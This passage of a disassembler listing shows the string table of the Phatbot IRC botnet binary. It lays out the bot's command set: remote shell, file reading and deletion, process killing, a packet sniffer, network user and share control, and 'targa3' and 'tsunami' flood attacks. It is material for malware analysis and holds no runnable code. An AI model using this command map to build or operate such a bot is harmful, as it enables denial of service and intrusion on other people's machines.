		unicode	0, < >,0
a__6:					; DATA XREF: sub_401CC1+2D1Fo
		unicode	0, <_>,0
dword_442C14	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401CC1+2D4Bo
dword_442C28	dd 746Eh		; DATA XREF: sub_401CC1+2D66o
dword_442C2C	dd 20h			; DATA XREF: sub_401CC1+2D81o
dword_442C30	dd 5Fh			; DATA XREF: sub_401CC1+2D86o
dword_442C34	dd 69746F6Eh, 25206563h, 253A2073h, 73h	; DATA XREF: sub_401CC1+2DB2o
aMode		db 'mode',0             ; DATA XREF: sub_401CC1+2DCDo
		align 4
asc_442C4C:				; DATA XREF: sub_401CC1+2DE8o
		unicode	0, < >,0
a_:					; DATA XREF: sub_401CC1+2DEDo
		unicode	0, <_>,0
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401CC1+2E19o
		align 10h
aJoin		db 'join',0             ; DATA XREF: sub_401CC1+2E34o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401CC1+2E56o
aPart_1		db 'part',0             ; DATA XREF: sub_401CC1+2E71o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401CC1+2E93o
aPartflood	db 'partflood',0        ; DATA XREF: sub_401CC1+2EAEo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401CC1+2ED5o
		align 4
aPnick		db 'pnick',0            ; DATA XREF: sub_401CC1+2EF0o
		align 10h
aSI		db '%s%i',0             ; DATA XREF: sub_401CC1+2F30o
		align 4
aNickS		db 'NICK %s',0          ; DATA XREF: sub_401CC1+2F48o
aJoinPart	db 'join/part',0        ; DATA XREF: sub_401CC1+2F63o
		align 4
aJoinS_0	db 'join %s',0          ; DATA XREF: sub_401CC1+2F91o
aPartSS_0	db 'part %s %s',0       ; DATA XREF: sub_401CC1+2FBAo
		align 10h
aJoinS_1	db 'join %s',0          ; DATA XREF: sub_401CC1+2FF5o
aPartSS_1	db 'part %s %s',0       ; DATA XREF: sub_401CC1+3035o
		align 4
aJoinS_2	db 'join %s',0          ; DATA XREF: sub_401CC1+3059o
aPartSS_2	db 'part %s %s',0       ; DATA XREF: sub_401CC1+3099o
		align 4
aDcc		db 'dcc',0              ; DATA XREF: sub_401CC1+30B4o
dword_442CFC	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401CC1+3131o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
aNick_0		db 'nick',0             ; DATA XREF: sub_401CC1+314Co
		align 4
aJoinS_3	db 'join %s',0          ; DATA XREF: sub_401CC1+3176o
aNickS_0	db 'NICK %s',0          ; DATA XREF: sub_401CC1+31A6o
aNickS_1	db 'NICK %s',0          ; DATA XREF: sub_401CC1+31EDo
aNickS_2	db 'NICK %s',0          ; DATA XREF: sub_401CC1+3234o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401CC1+324Fo
aNickS_3	db 'NICK %s',0          ; DATA XREF: sub_401CC1+3278o
aMsg		db 'msg',0              ; DATA XREF: sub_401CC1+3293o
aJoinS_4	db 'join %s',0          ; DATA XREF: sub_401CC1+32C1o
aPrivmsgSS	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC1+32EAo
		align 4
aPrivmsgSS_0	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC1+332Ao
		align 4
aPrivmsgSS_1	db 'privmsg %s :%s',0   ; DATA XREF: sub_401CC1+336Ao
		align 4
aNotice_2	db 'notice',0           ; DATA XREF: sub_401CC1+3385o
		align 10h
aJoinS_5	db 'join %s',0          ; DATA XREF: sub_401CC1+33B3o
aNoticeSS_1	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC1+33DCo
		align 4
aNoticeSS_2	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC1+341Co
		align 4
aNoticeSS_3	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401CC1+345Co
		align 4
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401CC1+3477o
		align 10h
aJoinS_6	db 'join %s',0          ; DATA XREF: sub_401CC1+34A5o
dword_442DE8	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401CC1+34C9o
dword_442DFC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401CC1+3504o
		dd 1
dword_442E14	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401CC1+353Fo
		dd 0
dword_442E2C	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401CC1+357Ao
		dd 0
dword_442E44	dd 78696Dh		; DATA XREF: sub_401CC1+3595o
dword_442E48	dd 6E696F6Ah, 732520h	; DATA XREF: sub_401CC1+35C3o
dword_442E50	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401CC1+35E7o
dword_442E64	dd 49544F4Eh, 25204543h, 253A2073h, 73h	; DATA XREF: sub_401CC1+3627o
dword_442E74	dd 56495250h, 2047534Dh, 3A207325h, 7325h ; DATA XREF: sub_401CC1+3667o
dword_442E84	dd 49544F4Eh, 25204543h, 253A2073h, 73h	; DATA XREF: sub_401CC1+36A7o
aRegister	db 'register',0         ; DATA XREF: sub_401CC1+36C2o
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401CC1+36EBo
aOff_0		db 'off',0              ; DATA XREF: sub_401CC1+3706o
unk_442EBC	db  2Dh	; -		; DATA XREF: sub_401CC1+3754o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNick_1		db 'nick',0             ; DATA XREF: sub_401CC1+3772o
		align 4
aN:					; DATA XREF: sub_401CC1+3789o
		unicode	0, <n>,0
aNickS_6	db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC1+6EFDo
		align 4
unk_442EFC	db  2Dh	; -		; DATA XREF: sub_401CC1+6F0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
aJoin_0		db 'join',0             ; DATA XREF: sub_401CC1+37A0o
		align 4
aJ:					; DATA XREF: sub_401CC1+37B7o
		unicode	0, <j>,0
aJoinSS_3	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6EE4o
		align 4
unk_442F3C	db  2Dh	; -		; DATA XREF: sub_401CC1+6EF2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 10h
aPart_2		db 'part',0             ; DATA XREF: sub_401CC1+37CEo
		align 4
aPt		db 'pt',0               ; DATA XREF: sub_401CC1+37E5o
		align 4
aPartS_2	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC1+6EC4o
		align 4
unk_442F78	db  2Dh	; -		; DATA XREF: sub_401CC1+6ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401CC1+37FCo
aR_1:					; DATA XREF: sub_401CC1+3813o
		unicode	0, <r>,0
aS_27		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC1+6EABo
		align 4
dword_442FAC	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401CC1+6EB9o
		dd 2E732520h, 0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401CC1+382Ao
		align 4
aK:					; DATA XREF: sub_401CC1+3841o
		unicode	0, <k>,0
aAll		db 'all',0              ; DATA XREF: sub_401CC1+6D8Fo
unk_442FDC	db  2Dh	; -		; DATA XREF: sub_401CC1+6DA9o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
unk_443004	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_408A74o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_44302C	db  2Dh	; -		; DATA XREF: sub_401CC1+6E34o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 10h
unk_443050	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_408AFCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 4
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401CC1+3858o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401CC1+386Fo
aQuitLater_0	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6D04o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401CC1+3886o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401CC1+389Do
		align 4
aNickS_5	db 'NICK %s',0          ; DATA XREF: sub_401CC1+6CC4o
aS_17		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC1+6CD9o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401CC1+38B4o
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401CC1+38CBo
		align 4
unk_4430C8	db  2Dh	; -		; DATA XREF: sub_401CC1+6C82o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
aOpen		db 'open',0             ; DATA XREF: sub_401CC1+38E2o
		align 4
aO:					; DATA XREF: sub_401CC1+38F9o
		unicode	0, <o>,0
aOpen_1		db 'open',0             ; DATA XREF: sub_401CC1+6C52o
		align 4
unk_443104	db  2Dh	; -		; DATA XREF: sub_401CC1+6C63o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_443124	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_40892Eo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
aServer		db 'server',0           ; DATA XREF: sub_401CC1+3910o
		align 10h
aSe		db 'se',0               ; DATA XREF: sub_401CC1+3927o
		align 4
unk_443154	db  2Dh	; -		; DATA XREF: sub_401CC1+6C3Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401CC1+393Eo
aDn		db 'dn',0               ; DATA XREF: sub_401CC1+3955o
		align 4
unk_443184	db  2Dh	; -		; DATA XREF: sub_401CC1+6BE4o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4431A4	db  2Dh	; -		; DATA XREF: sub_401CC1+6C17o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS__0	db '- Lookup: %s -> %s.',0
		align 4
unk_4431C4	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_4088DFo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401CC1+396Co
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401CC1+3983o
		align 4
unk_4431FC	db  2Dh	; -		; DATA XREF: sub_401CC1+6BA6o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_44321C	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_408871o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401CC1+399Ao
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401CC1+39B1o
		align 4
unk_443258	db  2Dh	; -		; DATA XREF: sub_401CC1+6B49o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
unk_44327C	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_408811o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
aDelete		db 'delete',0           ; DATA XREF: sub_401CC1+39C8o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401CC1+39DFo
dword_4432B8	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401CC1+6B0Bo
		dd 27732527h, 2Eh
dword_4432D4	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401CC1:loc_4087D3o
aList		db 'list',0             ; DATA XREF: sub_401CC1+39F6o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401CC1+3A0Do
		align 4
dword_4432EC	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401CC1+6AF5o
		dd 0
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401CC1+3A24o
aMirc		db 'mirc',0             ; DATA XREF: sub_401CC1+3A3Bo
		align 4
unk_443314	db  2Dh	; -		; DATA XREF: sub_401CC1+6A97o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_443334	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401CC1:loc_40875Fo
		dd 746E6573h, 2Eh
dword_443350	dd 646D63h		; DATA XREF: sub_401CC1+3A52o
dword_443354	dd 6D63h		; DATA XREF: sub_401CC1+3A69o
dword_443358	dd 0Ah			; DATA XREF: sub_401CC1+6A3Ao
unk_44335C	db  2Dh	; -		; DATA XREF: sub_401CC1+6A52o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
dword_443388	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401CC1+6A60o
		dd 732520h
aReadfile	db 'readfile',0         ; DATA XREF: sub_401CC1+3A80o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401CC1+3A97o
		align 10h
aR_0:					; DATA XREF: sub_401CC1:loc_408658o
		unicode	0, <r>,0
unk_4433B4	db  2Dh	; -		; DATA XREF: sub_401CC1+69FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_4433D8	db  2Dh	; -		; DATA XREF: sub_401CC1+6A12o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 4
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401CC1+3AAEo
aOn		db 'on',0               ; DATA XREF: sub_401CC1+3AC3o
		align 4
unk_443408	db  2Dh	; -		; DATA XREF: sub_401CC1+3AE3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
unk_443428	db  2Dh	; -		; DATA XREF: sub_401CC1+3B47o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_443458	db  2Dh	; -		; DATA XREF: sub_401CC1+3BB6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToStar_9	db '- Failed to start sniffer thread, error: <%d>.',0
aOff_1		db 'off',0              ; DATA XREF: sub_401CC1+3BC1o
unk_443498	db  2Dh	; -		; DATA XREF: sub_401CC1+3BE4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_4434D8	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_4058AFo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
aIdent		db 'ident',0            ; DATA XREF: sub_401CC1+3BFBo
		align 10h
aOn_0		db 'on',0               ; DATA XREF: sub_401CC1+3C10o
		align 4
dword_443514	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC1+3C2Co
aAlreadyRunni_2	db '- Already running.',0
		align 4
dword_443534	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC1+3C3Co
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_443560	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC1+3C89o
aFailedToSta_10	db '- Failed to start server, error: <%d>.',0
		align 4
aOff_2		db 'off',0              ; DATA XREF: sub_401CC1+3C94o
dword_443598	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC1+3CB7o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_4435D0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401CC1:loc_405982o
aNoThreadFound_	db '- No thread found.',0
		align 10h
aNet_0		db 'net',0              ; DATA XREF: sub_401CC1+3CCEo
aStart		db 'start',0            ; DATA XREF: sub_401CC1+3D25o
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401CC1+3D45o
		align 10h
unk_443600	db  2Dh	; -		; DATA XREF: sub_401CC1+3D76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
unk_443624	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_405A41o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
aStop		db 'stop',0             ; DATA XREF: sub_401CC1+3D8Bo
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_401CC1+3DA6o
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_401CC1+3DAEo
		align 4
aS_3		db '%s',0               ; DATA XREF: sub_401CC1+3DC9o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401CC1+3DD4o
		align 4
aS_4		db '%s',0               ; DATA XREF: sub_401CC1+3DEFo
		align 4
aDelete_0	db 'delete',0           ; DATA XREF: sub_401CC1+3DFAo
		align 4
aS_5		db '%s',0               ; DATA XREF: sub_401CC1+3E15o
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401CC1+3E20o
		align 10h
aS_6		db '%s',0               ; DATA XREF: sub_401CC1+3E49o
		align 4
aS_7		db '%s',0               ; DATA XREF: sub_401CC1+3E61o
		align 4
unk_443688	db  2Dh	; -		; DATA XREF: sub_401CC1+3E93o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
unk_4436AC	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_405B5Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_401CC1+3EA8o
		align 4
aS_8		db '%s',0               ; DATA XREF: sub_401CC1+3EE1o
		align 4
aS_9		db '%s',0               ; DATA XREF: sub_401CC1+3F08o
		align 4
aS_10		db '%s',0               ; DATA XREF: sub_401CC1+3F19o
		align 10h
unk_4436E0	db  2Dh	; -		; DATA XREF: sub_401CC1+3F4Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_443700	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_405C16o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_401CC1+3F60o
		align 4
aS_11		db '%s',0               ; DATA XREF: sub_401CC1+3F90o
		align 4
unk_44372C	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_405C64o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 10h
unk_443750	db  2Dh	; -		; DATA XREF: sub_401CC1:loc_405C6Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_44376C	db  2Dh	; -		; DATA XREF: sub_401CC1+3CF2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aGethost	db 'gethost',0          ; DATA XREF: sub_401CC1+3FBAo
aGh		db 'gh',0               ; DATA XREF: sub_401CC1+3FD1o
		align 10h
aSSSS_1		db '%s %s %s :%s',0     ; DATA XREF: sub_401CC1+68FBo
		align 10h
unk_4437C0	db  2Dh	; -		; DATA XREF: sub_401CC1+6922o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_4437E8	db  2Dh	; -		; DATA XREF: sub_401CC1+693Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
dword_443818	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401CC1+6979o
		dd 2E732520h, 0
aKilllog	db 'killlog',0          ; DATA XREF: sub_401CC1+3FFAo
aKl		db 'kl',0               ; DATA XREF: sub_401CC1+4011o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401CC1+4028o
		align 4
aAa		db 'aa',0               ; DATA XREF: sub_401CC1+403Fo
		align 10h
unk_443850	db  2Dh	; -		; DATA XREF: sub_401CC1+6886o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 10h
aPrivmsg_1	db 'privmsg',0          ; DATA XREF: sub_401CC1+4056o
aPm		db 'pm',0               ; DATA XREF: sub_401CC1+406Do
		align 4
unk_44387C	db  2Dh	; -		; DATA XREF: sub_401CC1+6848o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
aAction		db 'action',0           ; DATA XREF: sub_401CC1+4084o
		align 4
aA:					; DATA XREF: sub_401CC1+409Bo
		unicode	0, <a>,0
dword_4438A8	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401CC1+67D3o
unk_4438B4	db  2Dh	; -		; DATA XREF: sub_401CC1+67F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
aCycle		db 'cycle',0            ; DATA XREF: sub_401CC1+40B2o
		align 4
aCy		db 'cy',0               ; DATA XREF: sub_401CC1+40C9o
		align 4
a332_2		db '332',0              ; DATA XREF: sub_401CC1+6736o
aPartS_1	db 'PART %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC1+674Do
		align 4
aJoinSS_2	db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+677Ao
		align 4
dword_4438FC	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
					; DATA XREF: sub_401CC1+6787o
aMode_0		db 'mode',0             ; DATA XREF: sub_401CC1+40E0o
		align 4
aM:					; DATA XREF: sub_401CC1+40F7o
		unicode	0, <m>,0
aModeS_0	db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401CC1+6713o
		align 4
unk_443928	db  2Dh	; -		; DATA XREF: sub_401CC1+6721o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aModeChangeS	db 'Mode change: %s',0
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401CC1+410Eo
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401CC1+4125o
aS_16		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC1+66CBo
		align 4
dword_443958	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401CC1+66EAo
		dd 25203A29h, 73h
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401CC1+413Co
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401CC1+4153o
aModeS		db 'MODE %s',0          ; DATA XREF: sub_401CC1+662Ao
aS_15		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC1+6660o
		align 10h
dword_443990	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401CC1+667Fo
		dd 203A2973h, 7325h
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401CC1+416Ao
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401CC1+4181o
aNickS_4	db 'NICK %s',0          ; DATA XREF: sub_401CC1+65A2o
aS_14		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC1+65D7o
		align 4
dword_4439C8	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401CC1+65F8o
		dd 203A2973h, 7325h
aC_join		db 'c_join',0           ; DATA XREF: sub_401CC1+4198o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401CC1+41AFo
aJoinSS_1	db 'JOIN %s %s',0       ; DATA XREF: sub_401CC1+655Do
		align 4
aS_13		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC1+6592o
		align 4
aC_part		db 'c_part',0           ; DATA XREF: sub_401CC1+41C6o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401CC1+41DDo
aPartS_0	db 'PART %s',0          ; DATA XREF: sub_401CC1+64F6o
aS_12		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401CC1+652Bo
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401CC1+41F4o
		align 4
aT3		db 't3',0               ; DATA XREF: sub_401CC1+420Bo
		align 4
dword_443A2C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401CC1+646Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
dword_443A58	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401CC1+64E3o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401CC1+4222o
aTsn		db 'tsn',0              ; DATA XREF: sub_401CC1+4239o
unk_443AA0	db  2Dh	; -		; DATA XREF: sub_401CC1+6376o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_443AD4	db  2Dh	; -		; DATA XREF: sub_401CC1+63E7o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aRepeat		db 'repeat',0           ; DATA XREF: sub_401CC1+4250o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401CC1+4267o
		align 4
a332_1		db '332',0              ; DATA XREF: sub_401CC1+6254o
aRepeat_0	db 'repeat',0           ; DATA XREF: sub_401CC1+6282o
		align 4
aSSSS_0		db '%s %s %s :%s',0     ; DATA XREF: sub_401CC1+62ADo
		align 4
dword_443B38	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401CC1+62D3o
		dd 7325h
unk_443B50	db  2Dh	; -		; DATA XREF: sub_401CC1+6310o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
